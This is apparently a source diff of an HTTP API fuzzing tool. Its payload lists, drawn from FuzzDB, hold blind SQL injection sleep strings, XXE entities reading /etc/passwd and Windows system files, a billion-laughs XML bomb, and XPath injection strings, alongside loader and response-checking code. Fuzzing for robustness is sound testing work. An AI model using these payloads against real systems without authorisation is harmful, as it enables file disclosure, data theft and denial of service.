|
||||
# Source: FuzzDB (https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/sql-injection/detect/GenericBlind.txt)
|
||||
|
||||
pg_sleep(200000)--
|
||||
1 or pg_sleep(200000)--
|
||||
" or pg_sleep(200000)--
|
||||
' or pg_sleep(200000)--
|
||||
1) or pg_sleep(200000)--
|
||||
") or pg_sleep(200000)--
|
||||
') or pg_sleep(200000)--
|
||||
1)) or pg_sleep(200000)--
|
||||
")) or pg_sleep(200000)--
|
||||
')) or pg_sleep(200000)--
|
||||
6
fuzzer/src/payloads/lists/unicode/corrupted.txt
Normal file
6
fuzzer/src/payloads/lists/unicode/corrupted.txt
Normal file
@@ -0,0 +1,6 @@
|
||||
# Source: https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/unicode (origin: https://github.com/minimaxir/big-list-of-naughty-strings)
|
||||
Ṱ̺̺̕o͞ ̷i̲̬͇̪͙n̝̗͕v̟̜̘̦͟o̶̙̰̠kè͚̮̺̪̹̱̤ ̖t̝͕̳̣̻̪͞h̼͓̲̦̳̘̲e͇̣̰̦̬͎ ̢̼̻̱̘h͚͎͙̜̣̲ͅi̦̲̣̰̤v̻͍e̺̭̳̪̰-m̢iͅn̖̺̞̲̯̰d̵̼̟͙̩̼̘̳ ̞̥̱̳̭r̛̗̘e͙p͠r̼̞̻̭̗e̺̠̣͟s̘͇̳͍̝͉e͉̥̯̞̲͚̬͜ǹ̬͎͎̟̖͇̤t͍̬̤͓̼̭͘ͅi̪̱n͠g̴͉ ͏͉ͅc̬̟h͡a̫̻̯͘o̫̟̖͍̙̝͉s̗̦̲.̨̹͈̣
|
||||
̡͓̞ͅI̗̘̦͝n͇͇͙v̮̫ok̲̫̙͈i̖͙̭̹̠̞n̡̻̮̣̺g̲͈͙̭͙̬͎ ̰t͔̦h̞̲e̢̤ ͍̬̲͖f̴̘͕̣è͖ẹ̥̩l͖͔͚i͓͚̦͠n͖͍̗͓̳̮g͍ ̨o͚̪͡f̘̣̬ ̖̘͖̟͙̮c҉͔̫͖͓͇͖ͅh̵̤̣͚͔á̗̼͕ͅo̼̣̥s̱͈̺̖̦̻͢.̛̖̞̠̫̰
|
||||
̗̺͖̹̯͓Ṯ̤͍̥͇͈h̲́e͏͓̼̗̙̼̣͔ ͇̜̱̠͓͍ͅN͕͠e̗̱z̘̝̜̺͙p̤̺̹͍̯͚e̠̻̠͜r̨̤͍̺̖͔̖̖d̠̟̭̬̝͟i̦͖̩͓͔̤a̠̗̬͉̙n͚͜ ̻̞̰͚ͅh̵͉i̳̞v̢͇ḙ͎͟-҉̭̩̼͔m̤̭̫i͕͇̝̦n̗͙ḍ̟ ̯̲͕͞ǫ̟̯̰̲͙̻̝f ̪̰̰̗̖̭̘͘c̦͍̲̞͍̩̙ḥ͚a̮͎̟̙͜ơ̩̹͎s̤.̝̝ ҉Z̡̖̜͖̰̣͉̜a͖̰͙̬͡l̲̫̳͍̩g̡̟̼̱͚̞̬ͅo̗͜.̟
|
||||
̦H̬̤̗̤͝e͜ ̜̥̝̻͍̟́w̕h̖̯͓o̝͙̖͎̱̮ ҉̺̙̞̟͈W̷̼̭a̺̪͍į͈͕̭͙̯̜t̶̼̮s̘͙͖̕ ̠̫̠B̻͍͙͉̳ͅe̵h̵̬͇̫͙i̹͓̳̳̮͎̫̕n͟d̴̪̜̖ ̰͉̩͇͙̲͞ͅT͖̼͓̪͢h͏͓̮̻e̬̝̟ͅ ̤̹̝W͙̞̝͔͇͝ͅa͏͓͔̹̼̣l̴͔̰̤̟͔ḽ̫.͕
|
||||
Z̮̞̠͙͔ͅḀ̗̞͈̻̗Ḷ͙͎̯̹̞͓G̻O̭̗̮
|
||||
9
fuzzer/src/payloads/lists/unicode/emoji.txt
Normal file
9
fuzzer/src/payloads/lists/unicode/emoji.txt
Normal file
@@ -0,0 +1,9 @@
|
||||
# Source: https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/unicode (origin: https://github.com/minimaxir/big-list-of-naughty-strings)
|
||||
😍
|
||||
👩🏽
|
||||
👾 🙇 💁 🙅 🙆 🙋 🙎 🙍
|
||||
🐵 🙈 🙉 🙊
|
||||
❤️ 💔 💌 💕 💞 💓 💗 💖 💘 💝 💟 💜 💛 💚 💙
|
||||
✋🏿 💪🏿 👐🏿 🙌🏿 👏🏿 🙏🏿
|
||||
🚾 🆒 🆓 🆕 🆖 🆗 🆙 🏧
|
||||
0️⃣ 1️⃣ 2️⃣ 3️⃣ 4️⃣ 5️⃣ 6️⃣ 7️⃣ 8️⃣ 9️⃣ 🔟
|
||||
2
fuzzer/src/payloads/lists/unicode/imessage.txt
Normal file
2
fuzzer/src/payloads/lists/unicode/imessage.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
# Source: FuzzDB (https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/control-chars/imessage.txt)
|
||||
Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗
|
||||
12
fuzzer/src/payloads/lists/unicode/japanese-emoticon.txt
Normal file
12
fuzzer/src/payloads/lists/unicode/japanese-emoticon.txt
Normal file
@@ -0,0 +1,12 @@
|
||||
# Source: https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/unicode (origin: https://github.com/minimaxir/big-list-of-naughty-strings)
|
||||
ヽ༼ຈل͜ຈ༽ノ ヽ༼ຈل͜ຈ༽ノ
|
||||
(。◕ ∀ ◕。)
|
||||
`ィ(´∀`∩
|
||||
__ロ(,_,*)
|
||||
・( ̄∀ ̄)・:*:
|
||||
゚・✿ヾ╲(。◕‿◕。)╱✿・゚
|
||||
,。・:*:・゜’( ☻ ω ☻ )。・:*:・゜’
|
||||
(╯°□°)╯︵ ┻━┻)
|
||||
(ノಥ益ಥ)ノ ┻━┻
|
||||
┬─┬ノ( º _ ºノ)
|
||||
( ͡° ͜ʖ ͡°)
|
||||
21
fuzzer/src/payloads/lists/unicode/naughty-unicode.txt
Normal file
21
fuzzer/src/payloads/lists/unicode/naughty-unicode.txt
Normal file
@@ -0,0 +1,21 @@
|
||||
# Source: https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/unicode (origin: https://github.com/minimaxir/big-list-of-naughty-strings)
|
||||
Ω≈ç√∫˜µ≤≥÷
|
||||
åß∂ƒ©˙∆˚¬…æ
|
||||
œ∑´®†¥¨ˆøπ“‘
|
||||
¡™£¢∞§¶•ªº–≠
|
||||
¸˛Ç◊ı˜Â¯˘¿
|
||||
ÅÍÎÏ˝ÓÔÒÚÆ☃
|
||||
Œ„´‰ˇÁ¨ˆØ∏”’
|
||||
`⁄€‹›fifl‡°·‚—±
|
||||
⅛⅜⅝⅞
|
||||
ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя
|
||||
٠١٢٣٤٥٦٧٨٩
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
⁰⁴⁵
|
||||
₀₁₂
|
||||
⁰⁴⁵₀₁₂
|
||||
ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็
|
||||
@@ -0,0 +1,4 @@
|
||||
# Source: https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/unicode (origin: https://github.com/minimaxir/big-list-of-naughty-strings)
|
||||
🇺🇸🇷🇺🇸 🇦🇫🇦🇲🇸
|
||||
🇺🇸🇷🇺🇸🇦🇫🇦🇲
|
||||
🇺🇸🇷🇺🇸🇦
|
||||
6
fuzzer/src/payloads/lists/unicode/right-to-left.txt
Normal file
6
fuzzer/src/payloads/lists/unicode/right-to-left.txt
Normal file
@@ -0,0 +1,6 @@
|
||||
# Source: https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/unicode (origin: https://github.com/minimaxir/big-list-of-naughty-strings)
|
||||
ثم نفس سقطت وبالتحديد،, جزيرتي باستخدام أن دنو. إذ هنا؟ الستار وتنصيب كان. أهّل ايطاليا، بريطانيا-فرنسا قد أخذ. سليمان، إتفاقية بين ما, يذكر الحدود أي بعد, معاملة بولندا، الإطلاق عل إيو.
|
||||
בְּרֵאשִׁית, בָּרָא אֱלֹהִים, אֵת הַשָּׁמַיִם, וְאֵת הָאָרֶץ
|
||||
הָיְתָהtestالصفحات التّحول
|
||||
﷽
|
||||
ﷺ
|
||||
10
fuzzer/src/payloads/lists/unicode/two-byte-chars.txt
Normal file
10
fuzzer/src/payloads/lists/unicode/two-byte-chars.txt
Normal file
@@ -0,0 +1,10 @@
|
||||
# Source: https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/unicode (origin: https://github.com/minimaxir/big-list-of-naughty-strings)
|
||||
田中さんにあげて下さい
|
||||
パーティーへ行かないか
|
||||
和製漢語
|
||||
部落格
|
||||
사회과학원 어학연구소
|
||||
찦차를 타고 온 펲시맨과 쑛다리 똠방각하
|
||||
社會科學院語學研究所
|
||||
울란바토르
|
||||
𠜎𠜱𠝹𠱓𠱸𠲖𠳏
|
||||
3
fuzzer/src/payloads/lists/unicode/upsidedown.txt
Normal file
3
fuzzer/src/payloads/lists/unicode/upsidedown.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
# Source: https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/unicode (origin: https://github.com/minimaxir/big-list-of-naughty-strings)
|
||||
˙ɐnbᴉlɐ ɐuƃɐɯ ǝɹolop ʇǝ ǝɹoqɐl ʇn ʇunpᴉpᴉɔuᴉ ɹodɯǝʇ poɯsnᴉǝ op pǝs 'ʇᴉlǝ ƃuᴉɔsᴉdᴉpɐ ɹnʇǝʇɔǝsuoɔ 'ʇǝɯɐ ʇᴉs ɹolop ɯnsdᴉ ɯǝɹo˥
|
||||
00˙Ɩ$-
|
||||
9
fuzzer/src/payloads/lists/xml/xml-generic.txt
Normal file
9
fuzzer/src/payloads/lists/xml/xml-generic.txt
Normal file
@@ -0,0 +1,9 @@
|
||||
# Based on FuzzDB (https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/xml/xml-attacks.txt)
|
||||
|
||||
# General timeouts
|
||||
count(/child::node())
|
||||
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
|
||||
|
||||
# Billion laughs attack
|
||||
<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)><!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>
|
||||
"<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)><!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>"
|
||||
@@ -0,0 +1,16 @@
|
||||
# Based on FuzzDB (https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/xml/xml-attacks.txt)
|
||||
|
||||
"<xml SRC=""c:\boot.ini"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file://c:\unknown\unknown"">]><foo>&xxe;</foo>"
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:\unknown\unknown">]><foo>&xee;</foo>o>
|
||||
<!DOCTYPE autofillupload [<!ENTITY D71Mn SYSTEM "file:///c:\unknown\unknown">
|
||||
|
||||
"<xml SRC=""/unknown/unknown"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////unknown/unknown"">]><foo>&xxe;</foo>"
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///unknown/unknown">]><foo>&xee;</foo>
|
||||
<!DOCTYPE autofillupload [<!ENTITY 9eTVC SYSTEM "file:///unknown/unknown">
|
||||
|
||||
"<xml SRC=""/unknown/"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////unknown/"">]><foo>&xxe;</foo>"
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///unknown/">]><foo>&xee;</foo>
|
||||
<!DOCTYPE autofillupload [<!ENTITY 9eTVC SYSTEM "file:///unknown/">
|
||||
@@ -0,0 +1,23 @@
|
||||
# Based on FuzzDB (https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/xml/xml-attacks.txt)
|
||||
|
||||
"<xml SRC=""/apache/logs/access.log"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
||||
"<xml SRC=""/etc/passwd"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
||||
"<xml SRC=""/apache/logs/"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
||||
"<xml SRC=""/etc/"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
||||
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////apache/logs/access.log"">]><foo>&xxe;</foo>"
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////etc/passwd"">]><foo>&xxe;</foo>"
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////apache/logs/"">]><foo>&xxe;</foo>"
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////etc/"">]><foo>&xxe;</foo>"
|
||||
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///apache/logs/access.log">]><foo>&xee;</foo>
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xee;</foo>
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///apache/logs/">]><foo>&xee;</foo>
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/">]><foo>&xee;</foo>
|
||||
|
||||
<!DOCTYPE autofillupload [<!ENTITY 9eTVC SYSTEM "file:///apache/logs/access.log">
|
||||
<!DOCTYPE autofillupload [<!ENTITY 9eTVC SYSTEM "file:///etc/passwd">
|
||||
<!DOCTYPE autofillupload [<!ENTITY 9eTVC SYSTEM "file:///apache/logs/">
|
||||
<!DOCTYPE autofillupload [<!ENTITY 9eTVC SYSTEM "file:///etc/">
|
||||
<!DOCTYPE autofillupload [<!ENTITY 9eTVC SYSTEM "file:///apache/logs">
|
||||
<!DOCTYPE autofillupload [<!ENTITY 9eTVC SYSTEM "file:///etc">
|
||||
@@ -0,0 +1,35 @@
|
||||
# Based on FuzzDB (https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/xml/xml-attacks.txt)
|
||||
|
||||
"<xml SRC=""c:\boot.ini"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
||||
"<xml SRC=""c:\inetpub\wwwroot\index.asp"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
||||
"<xml SRC=""c:\pagefile.sys"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
||||
"<xml SRC=""c:\Windows\system.ini"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
||||
"<xml SRC=""c:\Windows\"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
||||
"<xml SRC=""c:\"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
||||
"<xml SRC=""c:\inetpub\"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
|
||||
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file://c:\boot.ini"">]><foo>&xxe;</foo>"
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file://c:\inetpub\wwwroot\index.asp"">]><foo>&xxe;</foo>"
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file://c:\pagefile.sys"">]><foo>&xxe;</foo>"
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file://c:\Windows\system.ini"">]><foo>&xxe;</foo>"
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file://c:\"">]><foo>&xxe;</foo>"
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file://c:\Windows\"">]><foo>&xxe;</foo>"
|
||||
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file://c:\inetpub\"">]><foo>&xxe;</foo>"
|
||||
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:\boot.ini">]><foo>&xee;</foo>
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:\inetpub\wwwroot\index.asp">]><foo>&xee;</foo>
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:\pagefile.sys">]><foo>&xee;</foo>
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:\Windows\system.ini">]><foo>&xee;</foo>
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:\">]><foo>&xee;</foo>
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:\Windows\">]><foo>&xee;</foo>
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:\inetpub\">]><foo>&xee;</foo>
|
||||
|
||||
<!DOCTYPE autofillupload [<!ENTITY D71Mn SYSTEM "file:///c:\boot.ini">
|
||||
<!DOCTYPE autofillupload [<!ENTITY D71Mn SYSTEM "file:///c:\inetpub\wwwroot\index.asp">
|
||||
<!DOCTYPE autofillupload [<!ENTITY D71Mn SYSTEM "file:///c:\pagefile.sys">
|
||||
<!DOCTYPE autofillupload [<!ENTITY D71Mn SYSTEM "file:///c:\Windows\system.ini">
|
||||
<!DOCTYPE autofillupload [<!ENTITY D71Mn SYSTEM "file:///c:\">
|
||||
<!DOCTYPE autofillupload [<!ENTITY D71Mn SYSTEM "file:///c:\Windows\">
|
||||
<!DOCTYPE autofillupload [<!ENTITY D71Mn SYSTEM "file:///c:\inetpub\">
|
||||
<!DOCTYPE autofillupload [<!ENTITY D71Mn SYSTEM "file:///c:\Windows">
|
||||
<!DOCTYPE autofillupload [<!ENTITY D71Mn SYSTEM "file:///c:\inetpub">
|
||||
15
fuzzer/src/payloads/lists/xml/xpath.txt
Normal file
15
fuzzer/src/payloads/lists/xml/xpath.txt
Normal file
@@ -0,0 +1,15 @@
|
||||
# Source: FuzzDB (https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/xpath/xpath-injection.txt)
|
||||
|
||||
' or '1'='1
|
||||
' or ''='
|
||||
x' or 1=1 or 'x'='y
|
||||
/
|
||||
//
|
||||
//*
|
||||
*/*
|
||||
@*
|
||||
count(/child::node())
|
||||
x' or name()='username' or 'x'='y
|
||||
' and count(/*)=1 and '1'='1
|
||||
' and count(/@*)=1 and '1'='1
|
||||
' and count(/comment())=1 and '1'='1
|
||||
48
fuzzer/src/payloads/payloads_loader.py
Normal file
48
fuzzer/src/payloads/payloads_loader.py
Normal file
@@ -0,0 +1,48 @@
|
||||
import os
|
||||
from fuzz_payloads import FuzzPayloads
|
||||
|
||||
|
||||
class PayloadsLoader:
|
||||
def __init__(self, hostname):
|
||||
self.replacements = {"<<target_hostname>>": hostname}
|
||||
|
||||
def load_payloads(self, file_path: str, directory_name: str, keep_newlines: bool = False):
|
||||
if file_path:
|
||||
try:
|
||||
with open(file_path, 'r', encoding="utf8") as custom_payloads_file_pointer:
|
||||
for line in custom_payloads_file_pointer:
|
||||
|
||||
# Skip empty lines
|
||||
if self._is_empty_or_comment(line):
|
||||
continue
|
||||
|
||||
line = self._replace_target_hostname(line)
|
||||
if not keep_newlines:
|
||||
line = line.rstrip('\n').rstrip('\r\n')
|
||||
|
||||
FuzzPayloads.add_payload_to_list(line, directory_name)
|
||||
|
||||
# If there is some problem with file, just continue with the rest of payloads
|
||||
except FileNotFoundError or IOError:
|
||||
print("WARNING: Error when opening file: " + file_path)
|
||||
|
||||
def _replace_target_hostname(self, line: str):
|
||||
for pattern, replacement_value in self.replacements.items():
|
||||
line = line.replace(pattern, replacement_value)
|
||||
return line
|
||||
|
||||
@staticmethod
|
||||
def _is_empty_or_comment(line):
|
||||
# Comment is every line which starts (without white spaces) with '#'
|
||||
if len(line.strip()) == 0 or line.startswith("#"):
|
||||
return True
|
||||
|
||||
|
||||
def load_default_payloads(hostname: str):
|
||||
loader = PayloadsLoader(hostname)
|
||||
base_path = './fuzzer/src/payloads/lists/'
|
||||
for root, directories, files in os.walk(base_path):
|
||||
for file in files:
|
||||
if file.endswith('.txt'):
|
||||
directory_name = os.path.basename(os.path.normpath(root))
|
||||
loader.load_payloads(os.path.join(root, file), directory_name)
|
||||
48
fuzzer/src/post_test_case_callback.py
Normal file
48
fuzzer/src/post_test_case_callback.py
Normal file
@@ -0,0 +1,48 @@
|
||||
import time
|
||||
import json
|
||||
from http.client import HTTPResponse
|
||||
from boofuzz import exception
|
||||
from configuration_manager import ConfigurationManager
|
||||
from fake_socket import get_response_object
|
||||
|
||||
|
||||
class PostTestCaseCallback(object):
|
||||
@staticmethod
|
||||
def post_test_callback(target, fuzz_data_logger, session, sock, *args, **kwargs):
|
||||
fuzz_data_logger.log_info("Mutation: " + session.fuzz_node.mutant._rendered.decode('utf-8', errors='ignore'))
|
||||
fuzz_data_logger.log_info("Original value: " + session.fuzz_node.mutant.original_value.decode('utf-8', errors='ignore'))
|
||||
|
||||
response_timeout = ConfigurationManager.config["response_timeout"]
|
||||
polling_interval = ConfigurationManager.config["polling_interval"]
|
||||
|
||||
response_string = None
|
||||
for _ in range(0, int(response_timeout / polling_interval)):
|
||||
try:
|
||||
response_string = target.recv()
|
||||
break
|
||||
except exception.BoofuzzTargetConnectionReset:
|
||||
time.sleep(polling_interval)
|
||||
continue
|
||||
|
||||
if not response_string:
|
||||
fuzz_data_logger.log_fail("Timeout or closed connection")
|
||||
return
|
||||
|
||||
response = get_response_object(response_string)
|
||||
|
||||
if get_response_object(response_string) is None:
|
||||
fuzz_data_logger.log_fail("Bad HTTP header")
|
||||
return
|
||||
|
||||
PostTestCaseCallback._http_response_asserts(response, fuzz_data_logger)
|
||||
|
||||
@staticmethod
|
||||
def _http_response_asserts(response: HTTPResponse, fuzz_data_logger):
|
||||
if response.status >= 500:
|
||||
fuzz_data_logger.log_fail("Status code higher or equal than 500!")
|
||||
|
||||
if response.getheader("Content-Type") == "application/json":
|
||||
try:
|
||||
json.loads(response.read())
|
||||
except ValueError:
|
||||
fuzz_data_logger.log_fail("application/json body is not valid JSON structure")
|
||||
61
fuzzer/src/progress_reporter.py
Normal file
61
fuzzer/src/progress_reporter.py
Normal file
@@ -0,0 +1,61 @@
|
||||
import os
|
||||
import threading
|
||||
import sys
|
||||
import datetime
|
||||
from configuration_manager import ConfigurationManager
|
||||
|
||||
DID_FUZZING_STARTED_CHECKS_TIME_INTERVAL_IN_SECONDS = 5
|
||||
|
||||
|
||||
def report_progress(session):
|
||||
if did_fuzzing_already_started(session) > 0:
|
||||
|
||||
if is_fuzzing_hanged(session):
|
||||
message = create_hanged_message(session)
|
||||
print(message, file=sys.stderr)
|
||||
os._exit(1)
|
||||
|
||||
if is_fuzzing_still_in_progress(session):
|
||||
plan_another_report(session, ConfigurationManager.get_reporting_interval())
|
||||
|
||||
message = create_report_message(session)
|
||||
print(message, file=sys.stderr)
|
||||
else:
|
||||
plan_another_report(session, DID_FUZZING_STARTED_CHECKS_TIME_INTERVAL_IN_SECONDS)
|
||||
|
||||
|
||||
def plan_another_report(session, reporting_interval):
|
||||
threading.Timer(reporting_interval, report_progress, [session]).start()
|
||||
|
||||
|
||||
def did_fuzzing_already_started(session):
|
||||
return session.total_num_mutations > 0
|
||||
|
||||
|
||||
def is_fuzzing_hanged(session):
|
||||
hanged = is_fuzzing_hanged.previous_mutant_index == session.total_mutant_index
|
||||
is_fuzzing_hanged.previous_mutant_index = session.total_mutant_index
|
||||
return hanged
|
||||
|
||||
|
||||
is_fuzzing_hanged.previous_mutant_index = -1
|
||||
|
||||
|
||||
def is_fuzzing_still_in_progress(session):
|
||||
return session.total_num_mutations != session.total_mutant_index
|
||||
|
||||
|
||||
def create_report_message(session):
|
||||
percentage = session.total_mutant_index / session.total_num_mutations * 100
|
||||
percentage = str(round(percentage, 2))
|
||||
|
||||
message = str(datetime.datetime.now()) + ": "
|
||||
message += "Proceeded " + str(session.total_mutant_index) + " of "
|
||||
message += str(session.total_num_mutations) + " (" + percentage + "%) test cases"
|
||||
|
||||
return message
|
||||
|
||||
|
||||
def create_hanged_message(session):
|
||||
test_case_number = str(session.total_mutant_index)
|
||||
return "Fuzzing hangs on test case number: " + test_case_number + ". See log file for an error message."
|
||||
101
